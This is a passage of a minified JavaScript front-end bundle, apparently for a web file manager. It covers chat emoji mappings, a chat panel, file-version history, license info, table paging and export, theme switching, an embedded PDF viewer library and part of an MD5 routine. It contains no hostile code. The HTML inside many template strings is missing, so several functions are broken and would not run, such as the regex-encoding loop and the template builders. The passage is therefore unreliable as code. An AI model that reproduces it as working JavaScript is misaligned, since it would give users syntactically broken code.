},{"id":"97_kotow","cn":"磕头","hk":"磕頭","us":"Kotow","code":"/:kotow","web_code":"/磕头"},{"id":"98_dramatic","cn":"回头","hk":"回頭","us":"Dramatic","code":"/:turn","web_code":"/回头"},{"id":"99_jumprope","cn":"跳绳","hk":"跳繩","us":"JumpRope","code":"/:skip","web_code":"/跳绳"},{"id":"100_surrender","cn":"投降","hk":"投降","us":"Surrender","code":"/:oY","web_code":"/挥手"},{"id":"101_hooray","cn":"激动","hk":"激動","us":"Hooray","code":"/:#-0","web_code":"/激动"},{"id":"102_meditate","cn":"乱舞","hk":"亂舞","us":"Meditate","code":"/:hiphot","web_code":"/街舞"},{"id":"103_smooch","cn":"献吻","hk":"獻吻","us":"Smooch","code":"/:kiss","web_code":"/献吻"},{"id":"104_taichi-l","cn":"左太极","hk":"左太極","us":"TaiChi L","code":"/:<&","web_code":"/左太极"},{"id":"105_taichi-r","cn":"右太极","hk":"右太極","us":"TaiChi R","code":"/:&>","web_code":"/右太极"},{"id":"106_hey","cn":"嘿哈","hk":"吼嘿","us":"Hey","ext":"png"},{"id":"107_facepalm","cn":"捂脸","hk":"掩面","us":"Facepalm","ext":"png"},{"id":"108_smirk","cn":"奸笑","hk":"奸笑","us":"Smirk","ext":"png"},{"id":"109_smart","cn":"机智","hk":"機智","us":"Smart","ext":"png"},{"id":"110_moue","cn":"皱眉","hk":"皺眉","us":"Moue","ext":"png"},{"id":"111_yeah","cn":"耶","hk":"歐耶","us":"Yeah!","ext":"png"},{"id":"112_packet","cn":"红包","hk":"Packet","us":"Packet","ext":"png"},{"id":"113_chick","cn":"鸡","hk":"小雞","us":"Chick","ext":"png"},{"id":"onlooker","cn":"吃瓜","hk":"吃西瓜","us":"Onlooker","ext":"png"},{"id":"goForIt","cn":"加油","hk":"加油","us":"GoForIt","ext":"png"},{"id":"sweats","cn":"汗","hk":"汗","us":"Sweats","ext":"png"},{"id":"omg","cn":"天啊","hk":"天啊","us":"OMG","ext":"png"},{"id":"emm","cn":"Emm","hk":"一言難盡","us":"Emm","ext":"png"},{"id":"respect","cn":"社会社会","hk":"失敬失敬","us":"Respect","ext":"png"},{"id":"doge","cn":"旺柴","hk":"旺柴","us":"Doge","ext":"png"},{"id":"noProb","cn":"好的","hk":"好的","us":"NoProb","ext":"png"},{"id":"myBad","cn":"打脸","hk":"打臉","us":"MyBad","ext":"png"},{"id":"wow","cn":"哇","hk":"哇","us":"Wow","ext":"png"},{"emoji":"😄","cn":"笑脸"},{"emoji":"😷","cn":"生病"},{"emoji":"😂","cn":"破涕为笑"},{"emoji":"😝","cn":"吐舌"},{"emoji":"😳","cn":"脸红"},{"emoji":"😱","cn":"恐惧"},{"emoji":"😔","cn":"失望"},{"emoji":"😒","cn":"无语"},{"emoji":"🙄"},{"emoji":"🙃"},{"emoji":"😩"},{"emoji":"🤔"},{"emoji":"🌚"},{"emoji":"👻","cn":"鬼魂"},{"emoji":"🙏","cn":"合十"},{"emoji":"💪","cn":"强壮"},{"emoji":"🎉","cn":"庆祝"},{"emoji":"🎁","cn":"礼物"},{"emoji":"🙈"},{"emoji":"👊"},{"emoji":"🙌"},{"emoji":"💯"},{"emoji":"💃"},{"emoji":"🍻"}],"parseFaceMap":function(){if(this.faceMap)return this.faceMap;var e={"imageShow":STATIC_PATH+"images/chat/qqold_png/{id}.{ext}","imageShowExt":"png","imagePanel":STATIC_PATH+"images/chat/qqold_png/{id}.{ext}","imagePanelExt":"png"},n={},a=e.imageShow,s=e.imageShowExt,r=e.imagePanel||e.imageShow,o=e.imagePanelExt||e.imageShowExt;_.each(this.faceArr,function(e){if(!e.emoji){var t=e.ext||s,i=e.ext||o;e.imageShow=a.replace("{id}",e.id),e.imageShow=e.imageShow.replace("{ext}",t),e.imagePanel=r.replace("{id}",e.id),e.imagePanel=e.imagePanel.replace("{ext}",i),e.cn&&(n["["+e.cn+"]"]=e),e.us&&(n["["+e.us+"]"]=e),e.hk&&(n["["+e.hk+"]"]=e),e.code&&(n[e.code]=e),e.web_code&&(n[e.web_code]=e)}}),this.faceMap=n},"makeHtmlPanel":function(){var r="",o=G.lang||"zh-CN";return o="zh-CN"==(o="zh-TW"==o?"hk":o)?"cn":"us",this.parseFaceMap(),_.each(this.faceArr,function(e){var t,i,n,a;if(e.emoji)t="item-face ripple-item item-face-emoji",n=e.emoji,i=e[o]||e.emoj,a=e.emoji;else{var s="emoji-qq-"+(e.us||"");s=s.toLowerCase().replace(/[ !]/g,"_"),t="item-face ripple-item item-face-img item-face-"+e.id+" "+s,a="["+(i=e[o])+"]",n=''}e.dataText=a,r+=''+n+""}),r},"encodeReg":function(e){for(var t="?()|<>./+".split(""),i=0;i"}):e},t="";return this._each(this.faceArr,function(e){e.web_code&&(t+=this.encodeReg(e.web_code)+"|"),e.code&&(t+=this.encodeReg(e.code)+"|")}),e=n(e=n(e,t),"\\[(.+?)\\]")}})},function(e,t,i){"use strict";var a=i(0);e.exports=function(e){e=e||{};var t="",i=a.$escape,n=e.LNG;return t+='
    \n\t
    \n\t\t\n\t\t',t+=i(n["explorer.panel.chatName"]),t+='\n\t\t(0 ',t+=i(n["explorer.table.items"]),t+=')\n\t
    \n
    \n
    \n\t\n\t
    \n
    \n
    \n\t
    \n\t\t\x3c!-- --\x3e\n\t\t
    \n\t\t
    \n\t\t\t
    \n\t\t
    \n\t
    \n\t
    \n\t\t
    \n\t\t
    \n\t\t
    \n\t\t
    \n\t\t\n\t\t
    \n\t\t\t
    ',t+=i(n["explorer.panel.chat.send"]),t+='
    \n\t\t\t
    \n\t\t\t\t\n\t\t\t
    \n\t\t\t\n\t\t
    \t\t\n\t
    \n
    \n"}},function(e,t,i){"use strict";var l=i(0);e.exports=function(e){var i="",t=(e=e||{})._,n=e.data,a=l.$escape,s=e.LNG,r=l.$each,o=(e.item,e.i,e.menuType);return t.isEmpty(n.list)?(i+='
    ',i+=a(s["explorer.panel.chat.empty"]),i+="
    "):(i+=" ",r(n.list,function(e,t){i+='
    ',i+=e.userInfo,i+='
    ',i+=a(l.dateShow(e.createTime)),i+='
    ',e.parentComment&&(i+=' ',i+=a(s["explorer.panel.chat.reply"]),i+=" ",i+=e.parentComment.userInfo,i+=': ',i+=e.parentComment.content,i+=" "),i+=' ',i+=e.content,i+='
    '}),i+=" "),i}},function(e,t,s){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var a=n(s(106)),i=n(s(420));function n(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){this.pathAction=this.root.pathAction,this.$el=this.$(".tab-group-pan .panel-history"),this.pathInfo={},this.listenTo(this.parent,"tabChange.panel-history",this.reloadView),this.bindNotify()},"bindNotify":function(){var n=this;Events.bind("explorer.panel.history.change",function(e,t){if(t!=n){var i=n.pathInfo;_.get(i,"path")==e&&(n.pathInfo={},n.reloadView(i))}},this)},"reloadView":function(e,t,i){this.pathInfo.path!=e.path&&(this.initViewFinished||(this.initView(),this.initViewFinished=!0,this.$el.hide().delay(50).fadeIn(250)),this.serverData=!1,this.pathInfo=e,this.initViewList(e.path))},"initView":function(){this.rightMenu=new i["default"]({"parent":this}),this._delay(this.bindEvent,500)},"initViewList":function(t,e,i){var n=this,a={"path":t,"page":e||1,"pageNum":i||5},s=_.get(this.serverData,"pageInfo");!e&&s&&(a.page=s.page,a.pageNum=s.pageNum),this.pathModel.historyList(a,function(e){e&&e.code&&n.renderView(e.data,t)})},"renderView":function(e,t){var i=s(421),n=this,a={"data":e,"userInfo":this.root.path.userInfo};this.serverData=e,this.renderHtml(i,a,this.$(".content")),this.pageLoad(e.pageInfo,t),this.$(".menu-history-list-file").each(function(){$(this).data("fileItem",n.pathInfo)}),this.parent.resetTop()},"bindEvent":function(){var i=this,e=this.$el;e.delegate(".file-item.menu-history-list-file","dblclick",function(e){$.isEdit(e)||$.targetParent(e,".menu-trigger")||i.rightMenu.doAction("open",$(this))}),e.delegate(".new-version","click",function(e){var t=i.parent.historyBindFile.uploadNewVersion(i.pathInfo);i.listenToOnce(t,{"itemUploadSuccess":function(){i.initViewList(i.pathInfo.path)}})}),e.delegate(".version-refresh","click",function(e){i.initViewList(i.pathInfo.path)});var t=this.parent.rootSelector()+" .panel-history",n=_.bind(this.initViewList,this);i.rightMenu.bindHistoryItemMenu(t,n),i.bindEditDesc(e),a["default"].checkHistory(e)},"uploadVersionNotify":function(e,n){var a=this;this.listenToOnce(e,{"itemUploadSuccess":function(e,t){var i=_.get(e,"paramData.postParam.name");n.name==i&&(a.initViewList(n.path),a.changeNotify())}})},"changeNotify":function(){var e=this.pathInfo.path;Events.trigger("explorer.panel.history.change",e)},"bindEditDesc":function(e){var s=this;e.delegate(".file-item .detail .content","click",function(){if(!$(this).hasClass("on-edit")){var i=$(this).text();$(this).hasClass("placeholder")&&(i=""),$(this).attr("data-detail",i),$(this).addClass("on-edit"),$(this).html(''),$(this).removeClass("placeholder");var n=$(this).find("textarea"),a=$(this).parents(".file-item");n.val(i).autoTextarea({"maxHeight":120}),n.bind("blur",function(e){r(a,n.val())}),n.focusPose(),n.bind("keydown",function(e){var t=e.ctrlKey||e.shiftKey||e.altKey||e.metaKey;if("Escape"==e.key)r(a,i);else if("Enter"==e.key)return t?(n.textInsert("\n"),!0):(r(a,n.val()),stopPP(e))})}});var r=function r(e,t){var i=e.find(".detail .content"),n=i.attr("data-detail")||"",a={"path":e.parents(".file-history-content").attr("item-path"),"id":e.attr("item-id"),"detail":t};t!=n&&s.pathModel.historySetDetail(a,function(e){if(!e||!e.code)return Tips.tips(e);$(this).attr("data-detail",t),s.changeNotify()}),t?(i.html(htmlEncode(t)),i.removeClass("on-edit").removeClass("placeholder")):(i.html(LNG["explorer.fileDescAdd"]),i.removeClass("on-edit").addClass("placeholder"))}},"pageLoad":function(e,i){var n=this,t=this.$(".list-page"),a=[5,10,20];if(!e||e.totalNum<=a[0])return this.$el.addClass("page-empty"),t.html("");this.$el.removeClass("page-empty"),t.pageBox({"totalNum":e.totalNum,"pageTotal":e.pageTotal,"pageShow":1,"pageCurrent":e.page,"pageSize":e.pageNum,"pageSizeArray":a,"callback":function(e,t){n.initViewList(i,e,t)}})}})},function(e,t,i){"use strict";var c=i(0);e.exports=function(e){e=e||{};var t="",i=c.$escape,n=e.LNG,a=e.item,s=e.timeTo,r=e.window,o=e.timeToService,l=e.G;if(t+='
    ',t+=i(n["common.version.userLimitTitle"]),t+='
    ',t+=i(n["common.version.userUse"]),t+=': ',t+=i(a.userUse),t+='
    ',t+=i(n["common.version.userAllow"]),t+=': ',1e4<=a.userLimit?(t+=' ',t+=i(n["common.noLimit"]),t+=" "):(t+=" ",t+=i(a.userLimit),t+=" "),t+="
    ","A"==a.versionType&&(t+='
    ',t+=i(n["common.version.license"]),t+='
    ',t+=i(a.versionText),t+=" "),t+="
    ","A"!=a.versionType){if(t+='
    ',t+=i(n["common.version.userTitle"]),t+='
    ',a.user&&(t+='
    ',t+=i(n["common.version.userTo"]),t+=': ',t+=i(a.user),t+="
    "),t+=" ",a.timeTo){t+='
    ',t+=i(n["common.version.timeTo"]),t+=': ';s=''+n["common.version.licenseAll"]+"";a.timeTo-r.time()<=94608e3&&(s=r.dateFormat(a.timeTo,"timeDay")),t+=" ",t+=s,t+="
    "}if(t+=" ",a.timeToService){t+='
    ',t+=i(n["common.version.timeToService"]),t+=': ';o=r.dateFormat(a.timeToService,"timeDay");a.timeToService-r.time()<0&&(o+=''+n["common.version.timeout"]+""),t+=" ",t+=o,t+="
    "}t+=" ",a.user||a.timeTo||a.timeToService||(t+='
    ',t+=i(n["common.version.userTo"]),t+=': ',t+=i(l.system.options.systemName),t+='
    ',t+=i(n["common.copyright.licenseResetTips"]),t+='
    '),t+='
    ',t+=i(n["common.copyright.licenseReset"]),t+='
    ',t+=i(a.versionText),t+="
    "}return t+='
    ',t+=i(n["common.version.kodVersion"]),t+='
    ',t+=i(n["common.version"]),t+=': ',t+=i(l.kod.version),t+='
    build: ',t+=i(l.kod.build),t+="
    '}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var s=function n(e){return e&&e.__esModule?e:{"default":e}}(i(16));t["default"]=ClassBase.extend({"pageSizeArray":[20,50,100,200,500],"currentPath":"","currentPathPage":1,"pageNum":20,"init":function(e){},"pageLoad":function(e,t){var i=this.parent.target.find(".list-page");if(this.currentPath!==t&&(this.currentPath=t,this.currentPathPage=1),!e||!(0,s["default"])(e).length){var n=!1;e={"totalNum":this.parent.currentCount,"pageTotal":1}}var a={"totalNum":e.totalNum,"pageTotal":e.pageTotal,"pageShow":5,"pageCurrent":this.currentPathPage,"pageSize":this.pageNum,"pageSizeArray":this.pageSizeArray,"callback":_.bind(this.pageEventChange,this)};i.pageBox(a),!1===n&&i.find(".page-select").hide()},"pageEventChange":function(e,t){this.pageNum=t,this.currentPathPage=e,this.trigger("change",e)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){this.tbTarget=this.parent.target,this.sort(),this.makeToolbar()},"sort":function(){var a=this;this.tbTarget.delegate(".list-table .title .list-col:has('.font-icon')","click",function(){$(this).parents(".title").find(".list-col").removeClass("this"),$(this).addClass("this");var e=$(this).index(),t="font-icon list-sort-",i=$(this).find("i[class^='"+t+"'"),n=i.attr("class").replace(t,"");n="up"==n?"down":"up",i.attr("class",t+n),a.parent.config.order=[e,n],a.parent.refresh()})},"makeToolbar":function(){var e=this.parent.config.toolbar||null;if(e){var a=this,s=["search","export"];_.each(e,function(e,t){if(!_.includes(s,e.id))return!1;var i=e.side||"left",n="bind"+_.upperFirst(e.id);a[n](i,e)})}},"bindSearch":function(e,t){var i='';this.tbTarget.find(".toolbar ."+e).append(i);var n=this,a=function a(){n.parent.pageing.currentPathPage=1,n.parent.searchValue=$.trim(n.tbTarget.find(".search-box input").val()),n.parent.refresh()};this.tbTarget.delegate(".search-box .btn-search","click",function(){a()}),this.tbTarget.find(".search-box input").keydown(function(e){13==e.keyCode&&a()}),this.tbTarget.delegate(".search-box input","blur",function(){""!=_.trim($(this).val())&&$(this).next().removeClass("hidden")}),this.tbTarget.delegate(".search-box .btn-close","click",function(){$(this).prev().val(""),$(this).addClass("hidden"),a()})},"bindExport":function(e,a){var t='";this.tbTarget.find(".toolbar ."+e).append(t);var n=this;this.tbTarget.delegate(".btn-export","click",function(){var e=n.tbTarget.find(".list-table .list-row");if(!e.not(".title").length)return Tips.tips(LNG["common.empty"],"warning");var t=[];e.each(function(){var i=[],n=$(this).hasClass("title");$(this).find(".list-col").each(function(){var e=_.trim($(this).text());if(!n&&a.formatter&&_.isFunction(a.formatter)){var t=a.formatter($(this));_.isNull(t)||(e=t)}i.push('"'+e+'"')}),t.push(i.join(","))});var i=dateFormat(!1,"YmdHis")+roundString(4)+".csv";$.htmlDownload("\ufeff"+t.join("\r\n"),i)})}})},function(e,t,i){"use strict";i(0);e.exports=function(e){return'
    ','
    '}},function(t,i,n){"use strict";Object.defineProperty(i,"__esModule",{"value":!0});var r=n(41);i["default"]=ClassBase.extend({"init":function(){this.bindTheme()},"bindTheme":function(){window.userModel=r.userModel;var t=this;this.setTheme(),Events.bind("user.themeChange",_.bind(this.setTheme,this),this),Events.bind("user.themeChangeNotify",_.bind(this.themeChangeNotify,this),this),Events.bind("explorer.desktop.changeWall",function(){t.themeChangeNotify()},this);var i=window.matchMedia("(prefers-color-scheme: dark)"),n=function n(e){t.setTheme()};"function"==typeof i.addEventListener?i.addEventListener("change",n):"function"==typeof i.addListener&&i.addListener(n),this.bind("onRemove",function(){try{"function"==typeof i.addEventListener?i.removeEventListener("change",n):"function"==typeof i.addListener&&i.removeListener("change",n)}catch(e){}})},"setTheme":function(e,t){var i=$("body"),n=window.matchMedia("(prefers-color-scheme: dark)"),a=e||r.userModel.getOption("theme")||"auto",s=t||r.userModel.getOption("themeImage");r.userModel.userConfig.theme=a,r.userModel.userConfig.themeImage=s,this.setThemeBackground(s),i.removeClass("bg-black"),$(".dark-mode-toggle .desc").attr("theme",a),"auto"==a&&(a=n.matches?"dark-mode":""),i.attr("data-theme")&&i.removeClass(i.attr("data-theme")),i.addClass(a).attr("data-theme",a)},"setThemeBackground":function(e){if(e){"wallpage"==e&&(e=r.userModel.getOption("wall")),e.length<=3&&(e=STATIC_PATH+"images/wall_page/"+e+".jpg");var t="body.dark-mode:before{background-image:"+(e=_.includes(e,"linear-gradient(")?e:'url("'+e+'")')+";}";$.setStyle(t,"dark-mode-background")}},"themeChangeNotify":function(t,i){var e=[window.parent,window];try{window.parent!=window&&window.parent.$&&window.parent.$("iframe").each(function(){e.push($(this).get(0).contentWindow)})}catch(error){}$("iframe").each(function(){e.push($(this).get(0).contentWindow)}),e=_.union(e),_.each(e,function(e){try{e.Events&&e.Events.trigger("user.themeChange",t,i)}catch(error){}})}})},function(e,t,i){"use strict";i(0);e.exports=function(e){var t="",i=(e=e||{}).G;return t+=' ",t+=i.system.options.globalHtml||""}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"el":"#app","init":function(e){var t={"icon":_.get(Router,"query.icon","error"),"title":_.get(Router,"query.title",LNG["common.error"]),"desc":_.get(Router,"query.desc","")};t=_.extend(t,e);var i=n(709);this.renderHtml(i,t)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=a(i(16)),l=a(i(714));function a(e){return e&&e.__esModule?e:{"default":e}}var c=function c(e,a){var s={},r={},o=LNG["explorer.paramFormatError"];if(e.find("[name]").each(function(){var e=$(this).attr("name"),t=$(this).val();"checkbox"==$(this).attr("type")&&(t=$(this).prop("checked")+0+"");var i=a[e]||!1;if(i){var n=i.aliasKey||e;if(i.check&&!l["default"].check(t,i.check,i.param))return i["default"]?void(s[n]=i["default"]):void(r[n]=i.msg||o);s[n]=t}else s[e]=t}),0<(0,n["default"])(r).length){var t="";for(var i in r)t+=i+": "+r[i]+"
    \n";return Tips.tips(t,!1,3e3),!1}return s};t["default"]={"get":c,"check":l["default"]}},function(e,t,i){"use strict";var h=i(0);e.exports=function(e){var i="",t=(e=e||{})._,n=e.window,a=h.$escape,s=e.G,r=e.STATIC_PATH,o=e.systemName,l=e.systemDesc,c=e.langList,d=h.$each,u=(e.item,e.key,e.lang);return i+=''}},function(e,t,i){"use strict";var a=i(0);e.exports=function(e){e=e||{};var t="",i=a.$escape,n=e.LNG;e.msg;return t+='
    ',t+=i(n["common.pageNotExists"]),t+='
    ',t+=i(n["explorer.retryTips"]),t+='
    "}},function(e,t,i){"use strict";var n=i(0);e.exports=function(e){e=e||{};var t="";return t+='

    ',t+=(0,n.$escape)(e.LNG["explorer.wordLoading"]),t+="
    "}},function(e,t,i){"use strict";var l=i(0);e.exports=function(e){e=e||{};var t="",i=l.$escape,n=e.LNG,a=e.rule,s=e._,r=e.window,o=(e.desc,e.strong,e.strongMore,e.descText);t+='
    ',t+=i(n["user.directLogin"]),t+="
    "}},function(e,t,i){"use strict";var a=i(0);e.exports=function(e){var t="",i=(e=e||{}).LNG,n=a.$escape;return t+='
    ',t+=i["common.copyright.contact"],t+='
    ',t+=n(i["common.version.offlineTips"]),t+='',t+=n(i["common.version.authActiveOffline"]),t+='
    ");var classID="";return $.browser.msie&&parseInt($.browser.version)<9&&(classID=\'classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"\'),html+=\'\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\',support&&setTimeout(function(){var $swf=$("#swf_"+uuid);if(1==$swf.length)var time=0,tips=Tips.loadingMask($swf.parent()),interval=setInterval(function(){try{time++,(100==Math.floor($swf[0].PercentLoaded())||10\');var iframeDom=$($parent).find("iframe").get(0);if(iframeDom.tagName&&"iframe"==iframeDom.tagName.toLowerCase()){var page=iframeDom.contentWindow.document;try{page.open(),page.write(content),page.close()}catch(d){$($parent).html(content)}}else $($parent).html(content)},$.printLink=function(link){var $iframe=$("#page-print");0<$iframe.length&&$iframe.remove(),$(\'\').appendTo("body");var iframe=$("#page-print").get(0);iframe.onload=function(){iframe.contentWindow.focus(),iframe.contentWindow.print(),iframe.contentWindow.blur(),window.focus()},link&&(iframe.src=link)},$.loadReady=function(checkArr,callback){checkArr=_.isArray(checkArr)?checkArr:[checkArr];var checkTimer=setInterval(function(){var isLoad=!0;_.each(checkArr,function(val){_.isUndefined(_.get(window,val))&&(isLoad=!1)}),isLoad&&(clearTimeout(clearDelay),clearInterval(checkTimer),callback&&callback())},100),clearDelay=setTimeout(function(){clearInterval(checkTimer)},6e4)};var ua=navigator.userAgent;$.browserIS={"ie":!!(window.ActiveXObject||"ActiveXObject"in window),"ie8":this.ie&&parseInt($.browser.version)<=8,"wap":ua.match(/(iPhone|iPod|Android|ios|MiuiBrowser)/i),"trident":-1"+html+"
    ",$.browser.opera){var tab=window.open("","print-preview");doc.open();var doc=tab.document,paWindow=tab}else{var $iframe=$("
    ";return targetNode.className+=" pdfobject-container",targetNode.style.position="relative",targetNode.style.overflow="auto",targetNode.innerHTML=iframe,targetNode.getElementsByTagName("iframe")[0]},generateEmbedElement=function(targetNode,targetSelector,url,pdfOpenFragment,width,height,id){var style="";return style=targetSelector&&targetSelector!==document.body?"width: "+width+"; height: "+height+";":"position: absolute; top: 0; right: 0; bottom: 0; left: 0; width: 100%; height: 100%;",targetNode.className+=" pdfobject-container",targetNode.innerHTML="",targetNode.getElementsByTagName("embed")[0]},embed=function(url,targetSelector,options){if("string"!=typeof url)return embedError("URL is not valid");targetSelector=void 0!==targetSelector&&targetSelector;var pdfOpenFragment,id=(options=void 0!==options?options:{}).id&&"string"==typeof options.id?"id=\'"+options.id+"\'":"",page=!!options.page&&options.page,pdfOpenParams=options.pdfOpenParams?options.pdfOpenParams:{},fallbackLink="undefined"==typeof options.fallbackLink||options.fallbackLink,width=options.width?options.width:"100%",height=options.height?options.height:"100%",forcePDFJS="boolean"==typeof options.forcePDFJS&&options.forcePDFJS,PDFJS_URL=!!options.PDFJS_URL&&options.PDFJS_URL,targetNode=getTargetElement(targetSelector),fallbackHTML="";return targetNode?(page&&(pdfOpenParams.page=page),pdfOpenFragment=buildFragmentString(pdfOpenParams),forcePDFJS&&PDFJS_URL?generatePDFJSiframe(targetNode,url,pdfOpenFragment,PDFJS_URL,id):supportsPDFs?generateEmbedElement(targetNode,targetSelector,url,pdfOpenFragment,width,height,id):PDFJS_URL?generatePDFJSiframe(targetNode,url,pdfOpenFragment,PDFJS_URL,id):(fallbackLink&&(fallbackHTML="string"==typeof fallbackLink?fallbackLink:"

    This browser does not support inline PDFs. Please download the PDF to view it: Download PDF

    ",targetNode.innerHTML=fallbackHTML.replace(/\\[url\\]/g,url)),embedError("This browser does not support embedded PDFs"))):embedError("Target element cannot be determined")},{"embed":function(a,b,c){return embed(a,b,c)},"pdfobjectversion":"2.0.201604172","supportsPDFs":supportsPDFs}});'},"761":function(e,t){e.exports='!function(g){if(window.Int32Array){function b(l,n){var m=l[0],j=l[1],p=l[2],o=l[3];j=((j+=((p=((p+=((o=((o+=((m=((m+=(j&p|~j&o)+n[0]-680876936|0)<<7|m>>>25)+j|0)&j|~m&p)+n[1]-389564586|0)<<12|o>>>20)+m|0)&m|~o&j)+n[2]+606105819|0)<<17|p>>>15)+o|0)&o|~p&m)+n[3]-1044525330|0)<<22|j>>>10)+p|0,j=((j+=((p=((p+=((o=((o+=((m=((m+=(j&p|~j&o)+n[4]-176418897|0)<<7|m>>>25)+j|0)&j|~m&p)+n[5]+1200080426|0)<<12|o>>>20)+m|0)&m|~o&j)+n[6]-1473231341|0)<<17|p>>>15)+o|0)&o|~p&m)+n[7]-45705983|0)<<22|j>>>10)+p|0,j=((j+=((p=((p+=((o=((o+=((m=((m+=(j&p|~j&o)+n[8]+1770035416|0)<<7|m>>>25)+j|0)&j|~m&p)+n[9]-1958414417|0)<<12|o>>>20)+m|0)&m|~o&j)+n[10]-42063|0)<<17|p>>>15)+o|0)&o|~p&m)+n[11]-1990404162|0)<<22|j>>>10)+p|0,j=((j+=((p=((p+=((o=((o+=((m=((m+=(j&p|~j&o)+n[12]+1804603682|0)<<7|m>>>25)+j|0)&j|~m&p)+n[13]-40341101|0)<<12|o>>>20)+m|0)&m|~o&j)+n[14]-1502002290|0)<<17|p>>>15)+o|0)&o|~p&m)+n[15]+1236535329|0)<<22|j>>>10)+p|0,j=((j+=((p=((p+=((o=((o+=((m=((m+=(j&o|p&~o)+n[1]-165796510|0)<<5|m>>>27)+j|0)&p|j&~p)+n[6]-1069501632|0)<<9|o>>>23)+m|0)&j|m&~j)+n[11]+643717713|0)<<14|p>>>18)+o|0)&m|o&~m)+n[0]-373897302|0)<<20|j>>>12)+p|0,j=((j+=((p=((p+=((o=((o+=((m=((m+=(j&o|p&~o)+n[5]-701558691|0)<<5|m>>>27)+j|0)&p|j&~p)+n[10]+38016083|0)<<9|o>>>23)+m|0)&j|m&~j)+n[15]-660478335|0)<<14|p>>>18)+o|0)&m|o&~m)+n[4]-405537848|0)<<20|j>>>12)+p|0,j=((j+=((p=((p+=((o=((o+=((m=((m+=(j&o|p&~o)+n[9]+568446438|0)<<5|m>>>27)+j|0)&p|j&~p)+n[14]-1019803690|0)<<9|o>>>23)+m|0)&j|m&~j)+n[3]-187363961|0)<<14|p>>>18)+o|0)&m|o&~m)+n[8]+1163531501|0)<<20|j>>>12)+p|0,j=((j+=((p=((p+=((o=((o+=((m=((m+=(j&o|p&~o)+n[13]-1444681467|0)<<5|m>>>27)+j|0)&p|j&~p)+n[2]-51403784|0)<<9|o>>>23)+m|0)&j|m&~j)+n[7]+1735328473|0)<<14|p>>>18)+o|0)&m|o&~m)+n[12]-1926607734|0)<<20|j>>>12)+p|0,j=((j+=((p=((p+=((o=((o+=((m=((m+=(j^p^o)+n[5]-378558|0)<<4|m>>>28)+j|0)^j^p)+n[8]-2022574463|0)<<11|o>>>21)+m|0)^m^j)+n[11]+1839030562|0)<<16|p>>>16)+o|0)^o^m)+n[14]-35309556|0)<<23|j>>>9)+p|0,j=((j+=((p=((p+=((o=((o+=((m=((m+=(j^p^o)+n[1]-1530992060|0)<<4|m>>>28)+j|0)^j^p)+n[4]+1272893353|0)<<11|o>>>21)+m|0)^m^j)+n[7]-155497632|0)<<16|p>>>16)+o|0)^o^m)+n[10]-1094730640|0)<<23|j>>>9)+p|0,j=((j+=((p=((p+=((o=((o+=((m=((m+=(j^p^o)+n[13]+681279174|0)<<4|m>>>28)+j|0)^j^p)+n[0]-358537222|0)<<11|o>>>21)+m|0)^m^j)+n[3]-722521979|0)<<16|p>>>16)+o|0)^o^m)+n[6]+76029189|0)<<23|j>>>9)+p|0,j=((j+=((p=((p+=((o=((o+=((m=((m+=(j^p^o)+n[9]-640364487|0)<<4|m>>>28)+j|0)^j^p)+n[12]-421815835|0)<<11|o>>>21)+m|0)^m^j)+n[15]+530742520|0)<<16|p>>>16)+o|0)^o^m)+n[2]-995338651|0)<<23|j>>>9)+p|0,j=((j+=((o=((o+=(j^((m=((m+=(p^(j|~o))+n[0]-198630844|0)<<6|m>>>26)+j|0)|~p))+n[7]+1126891415|0)<<10|o>>>22)+m|0)^((p=((p+=(m^(o|~j))+n[14]-1416354905|0)<<15|p>>>17)+o|0)|~m))+n[5]-57434055|0)<<21|j>>>11)+p|0,j=((j+=((o=((o+=(j^((m=((m+=(p^(j|~o))+n[12]+1700485571|0)<<6|m>>>26)+j|0)|~p))+n[3]-1894986606|0)<<10|o>>>22)+m|0)^((p=((p+=(m^(o|~j))+n[10]-1051523|0)<<15|p>>>17)+o|0)|~m))+n[1]-2054922799|0)<<21|j>>>11)+p|0,j=((j+=((o=((o+=(j^((m=((m+=(p^(j|~o))+n[8]+1873313359|0)<<6|m>>>26)+j|0)|~p))+n[15]-30611744|0)<<10|o>>>22)+m|0)^((p=((p+=(m^(o|~j))+n[6]-1560198380|0)<<15|p>>>17)+o|0)|~m))+n[13]+1309151649|0)<<21|j>>>11)+p|0,j=((j+=((o=((o+=(j^((m=((m+=(p^(j|~o))+n[4]-145523070|0)<<6|m>>>26)+j|0)|~p))+n[11]-1120210379|0)<<10|o>>>22)+m|0)^((p=((p+=(m^(o|~j))+n[2]+718787259|0)<<15|p>>>17)+o|0)|~m))+n[9]-343485551|0)<<21|j>>>11)+p|0,l[0]=m+l[0]|0,l[1]=j+l[1]|0,l[2]=p+l[2]|0,l[3]=o+l[3]|0}function i(){this._dataLength=0,this._state=new Int32Array(4),this._buffer=new ArrayBuffer(68),this._bufferLength=0,this._buffer8=new Uint8Array(this._buffer,0,68),this._buffer32=new Uint32Array(this._buffer,0,17),this.start()}var d=[],a=new Int32Array([1732584193,-271733879,-1732584194,271733878]),h=new Int32Array([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]);i.prototype.appendStr=function(n){for(var m,k=this._buffer8,j=this._buffer32,o=this._bufferLength,l=0;l>>6),k[o++]=63&m|128;else if(m<55296||56319>>12),k[o++]=m>>>6&63|128,k[o++]=63&m|128;else{if(1114111<(m=1024*(m-55296)+(n.charCodeAt(++l)-56320)+65536))throw"Unicode standard supports code points up to U+10FFFF";k[o++]=240+(m>>>18),k[o++]=m>>>12&63|128,k[o++]=m>>>6&63|128,k[o++]=63&m|128}64<=o&&(this._dataLength+=64,b(this._state,j),o-=64,j[0]=j[16])}return this._bufferLength=o,this},i.prototype.appendAsciiStr=function(o){for(var n,l=this._buffer8,k=this._buffer32,p=this._bufferLength,m=0;;){for(n=Math.min(o.length-m,64-p);n--;)l[p++]=o.charCodeAt(m++);if(p<64)break;this._dataLength+=64,b(this._state,k),p=0}return 